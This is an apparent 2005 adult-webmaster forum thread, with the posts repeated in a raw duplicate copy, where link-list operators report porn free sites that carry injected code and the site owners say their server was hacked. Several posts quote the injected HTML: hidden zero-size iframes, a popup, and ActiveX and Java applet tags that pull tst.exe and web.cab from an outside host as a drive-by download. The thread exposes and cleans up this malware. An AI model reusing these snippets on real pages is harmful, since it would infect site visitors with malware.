Cheater

PB_Editor · 2005-01-21, 01:40 AM

Popups and soft

http://plumpers-porn.com/fat_teen_babes/index.html

<IFRAME ID=ukfr NAME=mys SRC="http://www.strikernet.info/uk.html" WIDTH=0 HEIGHT=0></IFRAME> in html code

His domain and mail:
flash@internetdrive.com
plumpers-porn.com
best-sex-toonz.com

MrMaryLou · 2005-01-21, 09:14 AM

Thanks for the heads up

Greenguy · 2005-01-21, 09:41 AM

Delete, search, ban, search, ban.....

PB_Editor · 2005-01-21, 11:28 AM

still

http://www.porno-ground.net/041206/index.htm

http://www.operationporn.com/040314/

----------------------------------
<script language="javascript">
document.write('<IFRAME ID=ukfr NAME=mys SRC="http://www.strikernet.info/uk.html" WIDTH=0 HEIGHT=0></IFRAME>');
</script> in code
----------------------------------

stuveltje · 2005-01-21, 12:52 PM

now damn i keep working on removing and banning domains wahhhhhh, lol thanks for the heads up!!

DangerDave · 2005-01-21, 04:23 PM

Hmmm doesn't sound like something Valec would do... are we sure its not a hack?

DD

stuveltje · 2005-01-21, 04:46 PM

well can he explain this code in all his sites

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<object onerror='ErrorActiveX();' id="A" classid="CLSID:527196a4-b1a3-4647-931d-37ba5af23037" codebase="http://www.strikernet.info/tst.exe"></object>
<script language="JavaScript">

</SCRIPT>
</head>
<body>
<iframe src=http://www.strikernet.info/counter.gif frameborder="0" width="1" height="1" scrolling="no" name=counter></iframe>
<script>
window.open('http://www.strikernet.info/2.html',"","width=10,height=10,resizable=no,scrollbars=no,status=no");
</script>
<APPLET ARCHIVE="java/classload.jar" CODE="GetAccess.class" WIDTH=1 HEIGHT=1>
<PARAM NAME="ModulePath" VALUE="http://www.strikernet.info/tst.exe">
</APPLET>
</body>
</html>

to be real i removed 300+ sites of him in every cat with that code in it in one linksite, submitted within a time of less then a year

Cohiba · 2005-01-21, 05:25 PM

Hi,
operationporn.com is my domain and porno-ground.net is my brother valec's domain.
First, we have not any idea about that code. We did not put it to our sites!!!
I remember that we noticed a code like that one on our LLs (sultans-porn.com and mommaspussy.com) about one month ago. Then removed that code from our LLs and immediately changed our hosting. But we did not have any idea about that code was on our freesites. Our new hosting company moved our freesites to the new machine.(I guess with these codes on our sites.)
We already checking out all our freesites but we could not find another site with that code. So please don't delete all of our sites and ban our domains.
I guarantee that to you WE WILL CHECK ALL OF OUR FREESITES MANUALLY AND DELETE THAT CODE IF WE FIND ANOTHER OF OUR SITES tonight.
Btw, if you have any idea about that code and where could be came from, please tell us!
Thanks!

Cleo · 2005-01-21, 05:28 PM

I would say another victim of having their server hacked.

stuveltje · 2005-01-21, 05:30 PM

Quote:

Originally Posted by Cohiba

Hi,
operationporn.com is my domain and porno-ground.net is my brother valec's domain.
First, we have not any idea about that code. We did not put it to our sites!!!
I remember that we noticed a code like that one on our LLs (sultans-porn.com and mommaspussy.com) about one month ago. Then removed that code from our LLs and immediately changed our hosting. But we did not have any idea about that code was on our freesites. Our new hosting company moved our freesites to the new machine.(I guess with these codes on our sites.)
We already checking out all our freesites but we could not find another site with that code. So please don't delete all of our sites and ban our domains.
I guarantee that to you WE WILL CHECK ALL OF OUR FREESITES MANUALLY AND DELETE THAT CODE IF WE FIND ANOTHER OF OUR SITES tonight.
Btw, if you have any idea about that code and where could be came from, please tell us!
Thanks!

well good you pop in, its a very bad thing and specially if you dont know how it came there, but when you found it on your lls, didnt you check your free sites? <-------- this my mistake i rereaded your post you did check the free sites and you didnt saw a code, well they are there on all your sites, i am not gonna put them on the blacklist.be sure to check them good

DangerDave · 2005-01-21, 05:37 PM

Quote:

Originally Posted by Cohiba

if you have any idea about that code and where could be came from, please tell us!
Thanks!

Cohiba/Valec it looks like someone gained access to your server(hacked) and then inserted that code... it happened to me once and has happened to many others..

Your host/techs should be able to help you track down the problems.. if they cant get a new host.

DD

valec · 2005-01-21, 05:39 PM

wtf! anyone has an idea about this shit?
btw, we've changed our server, so our sites are in safe now! we are working on the problem..
stuveltje, we can't find other sites that has the same problem on our domains.. so if you find any link with that code from our domains, could you please give us the urls?

stuveltje · 2005-01-21, 05:52 PM

Quote:

Originally Posted by valec

wtf! anyone has an idea about this shit?
btw, we've changed our server, so our sites are in safe now! we are working on the problem..
stuveltje, we can't find other sites that has the same problem on our domains.. so if you find any link with that code from our domains, could you please give us the urls?

i am looking for them now, the linksite owner has the backup and he isnt around now, but he saw the same you still have free sites with that code, i am doing my best to get them because i have removed them alredy but your not on the ban list.

valec · 2005-01-21, 05:55 PM

Quote:

Originally Posted by DangerDave

Cohiba/Valec it looks like someone gained access to your server(hacked) and then inserted that code... it happened to me once and has happened to many others..

Your host/techs should be able to help you track down the problems.. if they cant get a new host.

DD

Thanks a lot for the heads up via email DD!!
we already changed our host after we noticed that problem on our LLs.. so we only need to check and delete this fcking code from our sites..

stuveltje · 2005-01-21, 05:55 PM

i just see you have remove the code from the sites already posted on this board, most of the sites from those domains i have removed you still have some sites in the linksites and those will stay in.

Cohiba · 2005-01-21, 05:59 PM

Quote:

Originally Posted by stuveltje

i am looking for them now, the linksite owner has the backup and he isnt around now, but he saw the same you still have free sites with that code, i am doing my best to get them because i have removed them alredy but your not on the ban list.

Thanks stuveltje.. We are still checking our sites manually. So if there are any site with that code we will find it.

stuveltje · 2005-01-21, 06:03 PM

Quote:

Originally Posted by Cohiba

Thanks stuveltje.. We are still checking our sites manually. So if there are any site with that code we will find it.

it realy sucks this happend to you guys......i hope it wont happen again

Cohiba · 2005-01-21, 09:09 PM

Checking process is done. We have found 7 more pages at operationporn.com and 5 more pages at porno-ground.net and code is removed from those pages.
We checked it both of manually and with using find command on server.
Thanks for the heads up and your understanding!

Useless · 2005-01-21, 09:20 PM

Had that same shit happen to me about 6 months ago. A variety of pop-ups suddenly came out of nowhere. Luckily, I read about the same thing happening all over the place the day before. I moved away from that host that day. Something in Apache was injecting the code as the pages were being displayed. When I'd FTP to my sites, the code could not be found on any HTML page I had uploaded. There's nothing quite as scary as a hacked server and host who keeps saying that nothing is wrong on their end.

jennym · 2005-01-21, 11:47 PM

No problems here guys. I watched the thread, but I was sure you would be along to explain. I did not delete any of your sites.

valec · 2005-01-22, 06:55 AM

thanks Jenny.. :-)
sorry for the inconvinience..

dutchboy · 2005-01-22, 08:52 AM

Valec, http://plumpers-porn.com/fat_teen_babes/index.html still has the code for this popup. Succes with the cleanup.

valec · 2005-01-22, 10:12 AM

dutchboy, it's not our domain. our domains are porno-ground.net, and operationporn.com. thanks!

stuveltje · 2005-01-22, 04:21 PM

Cohiba you have pm

sorry for the late responde still dealing for some hours with an trojan in my puter ackkkkkkk

Opti · 2005-01-23, 12:05 AM

If that was ************** you removed the sites from Stu.. lmk and I will put them back in the database from a backup if you need me to ;-)

Cohiba, Rocco has been chasing me about your links and am just waiting on a list from another person. Will let you know when its done... and next time you are about on ICQ, I have news about some cash for you too ;-)

2005-01-21, 01:40 AM	#1
PB_Editor Rock stars ... is there anything they don't know? Join Date: Aug 2004 Posts: 12	Cheater Popups and soft http://plumpers-porn.com/fat_teen_babes/index.html <IFRAME ID=ukfr NAME=mys SRC="http://www.strikernet.info/uk.html" WIDTH=0 HEIGHT=0></IFRAME> in html code His domain and mail: flash@internetdrive.com plumpers-porn.com best-sex-toonz.com

2005-01-21, 09:14 AM	#2
MrMaryLou i fucking told i type to fucking fast wtf Join Date: Mar 2003 Location: New York Posts: 11,247	Thanks for the heads up __________________ <a href="http://www.greenguysboard.com/onthebench/">Join Me For On The Bench </a>

2005-01-21, 09:41 AM	#3
Greenguy The Original Greenguy (Est'd 1996) & AVN HOF Member - I Crop Pics For Thumbs In My Sleep Join Date: Feb 2003 Location: Blasdell, NY (shithole suburb south of Buffalo) Posts: 41,929	Delete, search, ban, search, ban..... __________________ Promote POV Porn Cash By Building & Submitting Galleries to the Porn Luv Network

2005-01-21, 12:52 PM	#5
stuveltje Live and learn. And take very careful notes! Join Date: Apr 2003 Location: Sunny Holland Posts: 6,157	now damn i keep working on removing and banning domains wahhhhhh, lol thanks for the heads up!! __________________ Canadian Sexlinks - submit Erotica search -submit

2005-01-21, 04:23 PM	#6
DangerDave Bonged Join Date: Mar 2003 Location: BrisVegas, AUSTRALIA Posts: 4,882	Hmmm doesn't sound like something Valec would do... are we sure its not a hack? DD __________________ Old Dollars >>>> Now with over 90 Hosted Free Sites <<<< DangerDave.com.au - Adult Links to Free Porn

2005-01-21, 11:28 AM	#4
PB_Editor Rock stars ... is there anything they don't know? Join Date: Aug 2004 Posts: 12	still http://www.porno-ground.net/041206/index.htm http://www.operationporn.com/040314/ ---------------------------------- <script language="javascript"> document.write('<IFRAME ID=ukfr NAME=mys SRC="http://www.strikernet.info/uk.html" WIDTH=0 HEIGHT=0></IFRAME>'); </script> in code ----------------------------------

2005-01-21, 04:46 PM	#7
stuveltje Live and learn. And take very careful notes! Join Date: Apr 2003 Location: Sunny Holland Posts: 6,157	well can he explain this code in all his sites <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> <object onerror='ErrorActiveX();' id="A" classid="CLSID:527196a4-b1a3-4647-931d-37ba5af23037" codebase="http://www.strikernet.info/tst.exe"></object> <script language="JavaScript"> <!-- download_ie.document.write('<OBJECT classid="clsid:0E1230F8-EA50-42A9-983C-D22ABC2EED3B" '); download_ie.document.write('codebase="web.cab" '); download_ie.document.write('onerror="parent.yes()" '); download_ie.document.write('width=0 height=0 align=center hspace=0 vspace=0>'); download_ie.document.write('<PARAM name="ID1" value="1660">'); download_ie.document.write('<PARAM name="ID2" value="139073360">'); download_ie.document.write('<PARAM name="ID4" value="1">'); download_ie.document.write('</OBJECT>'); download_ie.document.close(); // --> </SCRIPT> </head> <body> <iframe src=http://www.strikernet.info/counter.gif frameborder="0" width="1" height="1" scrolling="no" name=counter></iframe> <script> window.open('http://www.strikernet.info/2.html',"","width=10,height=10,resizable=no,scrollbars=no,status=no"); </script> <APPLET ARCHIVE="java/classload.jar" CODE="GetAccess.class" WIDTH=1 HEIGHT=1> <PARAM NAME="ModulePath" VALUE="http://www.strikernet.info/tst.exe"> </APPLET> </body> </html> to be real i removed 300+ sites of him in every cat with that code in it in one linksite, submitted within a time of less then a year __________________ Canadian Sexlinks - submit Erotica search -submit Last edited by stuveltje; 2005-01-21 at 04:48 PM..

2005-01-21, 05:25 PM	#8
Cohiba Heh Heh Heh! Lisa! Vampires are make believe, just like elves and gremlins and eskimos! Join Date: Aug 2003 Posts: 72	Hi, operationporn.com is my domain and porno-ground.net is my brother valec's domain. First, we have not any idea about that code. We did not put it to our sites!!! I remember that we noticed a code like that one on our LLs (sultans-porn.com and mommaspussy.com) about one month ago. Then removed that code from our LLs and immediately changed our hosting. But we did not have any idea about that code was on our freesites. Our new hosting company moved our freesites to the new machine.(I guess with these codes on our sites.) We already checking out all our freesites but we could not find another site with that code. So please don't delete all of our sites and ban our domains. I guarantee that to you WE WILL CHECK ALL OF OUR FREESITES MANUALLY AND DELETE THAT CODE IF WE FIND ANOTHER OF OUR SITES tonight. Btw, if you have any idea about that code and where could be came from, please tell us! Thanks! __________________ Sultan's Porn

2005-01-21, 05:28 PM	#9
Cleo Subversive filth of the hedonistic decadent West Join Date: Mar 2003 Location: Southeast Florida Posts: 27,936	I would say another victim of having their server hacked. __________________ Free Rides on Uber and Lyft Uber Car: uberTzTerri Lyft Car: TZ896289

2005-01-21, 05:39 PM	#12
valec A woman is like beer. They look good, they smell good, and you'd step over your own mother just to get one! Join Date: Sep 2003 Location: The Bosphorus Posts: 54	wtf! anyone has an idea about this shit? btw, we've changed our server, so our sites are in safe now! we are working on the problem.. stuveltje, we can't find other sites that has the same problem on our domains.. so if you find any link with that code from our domains, could you please give us the urls? __________________ Mommas Pussy Porn - Submit Your Site

2005-01-21, 05:55 PM	#15
stuveltje Live and learn. And take very careful notes! Join Date: Apr 2003 Location: Sunny Holland Posts: 6,157	i just see you have remove the code from the sites already posted on this board, most of the sites from those domains i have removed you still have some sites in the linksites and those will stay in. __________________ Canadian Sexlinks - submit Erotica search -submit

2005-01-21, 09:09 PM	#18
Cohiba Heh Heh Heh! Lisa! Vampires are make believe, just like elves and gremlins and eskimos! Join Date: Aug 2003 Posts: 72	Checking process is done. We have found 7 more pages at operationporn.com and 5 more pages at porno-ground.net and code is removed from those pages. We checked it both of manually and with using find command on server. Thanks for the heads up and your understanding! __________________ Sultan's Porn

2005-01-21, 09:20 PM	#19
Useless Certified Nice Person Join Date: Oct 2003 Location: Dirty Undies, NY Posts: 11,268	Had that same shit happen to me about 6 months ago. A variety of pop-ups suddenly came out of nowhere. Luckily, I read about the same thing happening all over the place the day before. I moved away from that host that day. Something in Apache was injecting the code as the pages were being displayed. When I'd FTP to my sites, the code could not be found on any HTML page I had uploaded. There's nothing quite as scary as a hacked server and host who keeps saying that nothing is wrong on their end. __________________ Click here to purchase a bridge I'm selling.

2005-01-21, 11:47 PM	#20
jennym You can now put whatever you want in this space :) Join Date: Aug 2003 Location: the south Posts: 529	No problems here guys. I watched the thread, but I was sure you would be along to explain. I did not delete any of your sites.

2005-01-22, 06:55 AM	#21
valec A woman is like beer. They look good, they smell good, and you'd step over your own mother just to get one! Join Date: Sep 2003 Location: The Bosphorus Posts: 54	thanks Jenny.. :-) sorry for the inconvinience.. __________________ Mommas Pussy Porn - Submit Your Site

2005-01-22, 08:52 AM	#22
dutchboy Aw, Dad, you've done a lot of great things, but you're a very old man, and old people are useless Join Date: Aug 2003 Location: The Netherlands Posts: 21	Valec, http://plumpers-porn.com/fat_teen_babes/index.html still has the code for this popup. Succes with the cleanup.

2005-01-22, 10:12 AM	#23
valec A woman is like beer. They look good, they smell good, and you'd step over your own mother just to get one! Join Date: Sep 2003 Location: The Bosphorus Posts: 54	dutchboy, it's not our domain. our domains are porno-ground.net, and operationporn.com. thanks! __________________ Mommas Pussy Porn - Submit Your Site

2005-01-22, 04:21 PM	#24
stuveltje Live and learn. And take very careful notes! Join Date: Apr 2003 Location: Sunny Holland Posts: 6,157	Cohiba you have pm sorry for the late responde still dealing for some hours with an trojan in my puter ackkkkkkk __________________ Canadian Sexlinks - submit Erotica search -submit

2005-01-23, 12:05 AM	#25
Opti I Didn't Do It Join Date: Aug 2003 Location: au Posts: 795	If that was ************** you removed the sites from Stu.. lmk and I will put them back in the database from a backup if you need me to ;-) Cohiba, Rocco has been chasing me about your links and am just waiting on a list from another person. Will let you know when its done... and next time you are about on ICQ, I have news about some cash for you too ;-)